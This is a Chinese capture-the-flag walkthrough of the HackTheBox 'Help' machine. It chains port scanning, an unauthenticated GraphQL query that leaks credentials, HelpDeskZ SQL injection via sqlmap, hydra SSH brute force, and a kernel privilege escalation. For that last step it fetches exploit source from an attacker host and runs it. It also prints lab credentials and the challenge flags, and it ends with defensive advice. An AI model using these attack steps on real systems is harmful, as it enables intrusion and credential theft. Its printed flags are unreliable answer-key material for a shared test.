[Meachines] [Easy] Help HelpDeskZ-SQLI+NODE.JS-GraphQL未授权访问+Kernel
字数 929 2025-08-22 12:23:41

HelpDeskZ 渗透测试教学文档

1. 信息收集

1.1 初始扫描

目标IP: 10.10.10.121

使用masscan进行快速端口扫描:

sudo masscan -p1-65535,U:1-65535 10.10.10.121 --rate=1000 -p1-65535,U:1-65535 -e tun0 > /tmp/ports

提取开放端口:

ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

使用nmap进行详细扫描:

nmap -Pn -sV -sC -p$ports 10.10.10.121

扫描结果:

  • 22/tcp: OpenSSH 7.2p2 Ubuntu
  • 80/tcp: Apache httpd 2.4.18 (重定向到help.htb)
  • 3000/tcp: Node.js Express框架

1.2 主机名解析

将help.htb添加到hosts文件:

echo '10.10.10.121 help.htb' >> /etc/hosts

1.3 Web目录扫描

使用dirsearch扫描web目录:

dirsearch -u http://help.htb/

发现重要目录:/support

2. 漏洞利用

2.1 GraphQL未授权访问

检查3000端口的Node.js服务:

whatweb http://10.10.10.121:3000 -v

测试GraphQL端点:

curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}"

获取用户凭证:

curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user{username,password}}"

获取到凭证:

  • 用户名: helpme@helpme.com
  • 密码: godhelpmeplz

2.2 HelpDeskZ SQL注入

发现HelpDeskZ存在SQL注入漏洞,使用以下HTTP请求:

GET /support/?v=view_tickets&action=ticket&param[]=8&param[]=attachment&param[]=1&param[]=10 HTTP/1.1
Host: help.htb
...

使用sqlmap自动化利用:

sqlmap -r target -p param[] --level 5 --risk 3 --batch

提取数据库信息:

sqlmap -r target -p param[] --level 5 --risk 3 --batch -D support -T staff --dump

2.3 SSH爆破

使用获取的凭证进行SSH爆破:

hydra -L usernames -p Welcome1 ssh://10.10.10.121

成功获取SSH凭证:

  • 用户名: help
  • 密码: Welcome1

登录SSH:

ssh help@10.10.10.121

获取user flag:

ae3b7cd906a806d72bf78a3c751c2533

3. 权限提升

3.1 内核漏洞利用

检查系统内核版本,发现存在漏洞:
Linux Kernel < 4.4.0-116

下载并编译exploit:

wget http://10.10.16.13/ker.c
gcc ker.c -o ker
chmod +x ker

执行提权:

./ker

获取root flag:

314e5296badc1deb6632c86af6298d1b

4. 关键知识点总结

  1. 信息收集:masscan快速扫描+nmap详细扫描的组合非常有效
  2. GraphQL未授权访问:GraphQL端点可能暴露敏感信息,需要测试所有可能的查询
  3. SQL注入:参数化数组(param[])容易成为注入点,sqlmap是自动化利用的强大工具
  4. 凭证复用:从一处获取的凭证可能在系统其他位置有效
  5. 内核提权:始终检查内核版本,寻找公开的本地提权漏洞

5. 防御建议

  1. 对GraphQL端点实施适当的认证和授权控制
  2. 使用参数化查询防止SQL注入
  3. 避免使用弱密码和默认凭证
  4. 及时更新内核和安全补丁
  5. 实施最小权限原则,限制用户权限
HelpDeskZ 渗透测试教学文档 1. 信息收集 1.1 初始扫描 目标IP: 10.10.10.121 使用masscan进行快速端口扫描: 提取开放端口: 使用nmap进行详细扫描: 扫描结果: 22/tcp: OpenSSH 7.2p2 Ubuntu 80/tcp: Apache httpd 2.4.18 (重定向到help.htb) 3000/tcp: Node.js Express框架 1.2 主机名解析 将help.htb添加到hosts文件: 1.3 Web目录扫描 使用dirsearch扫描web目录: 发现重要目录: /support 2. 漏洞利用 2.1 GraphQL未授权访问 检查3000端口的Node.js服务: 测试GraphQL端点: 获取用户凭证: 获取到凭证: 用户名: helpme@helpme.com 密码: godhelpmeplz 2.2 HelpDeskZ SQL注入 发现HelpDeskZ存在SQL注入漏洞,使用以下HTTP请求: 使用sqlmap自动化利用: 提取数据库信息: 2.3 SSH爆破 使用获取的凭证进行SSH爆破: 成功获取SSH凭证: 用户名: help 密码: Welcome1 登录SSH: 获取user flag: 3. 权限提升 3.1 内核漏洞利用 检查系统内核版本,发现存在漏洞: Linux Kernel < 4.4.0-116 下载并编译exploit: 执行提权: 获取root flag: 4. 关键知识点总结 信息收集 :masscan快速扫描+nmap详细扫描的组合非常有效 GraphQL未授权访问 :GraphQL端点可能暴露敏感信息,需要测试所有可能的查询 SQL注入 :参数化数组(param[ ])容易成为注入点,sqlmap是自动化利用的强大工具 凭证复用 :从一处获取的凭证可能在系统其他位置有效 内核提权 :始终检查内核版本,寻找公开的本地提权漏洞 5. 防御建议 对GraphQL端点实施适当的认证和授权控制 使用参数化查询防止SQL注入 避免使用弱密码和默认凭证 及时更新内核和安全补丁 实施最小权限原则,限制用户权限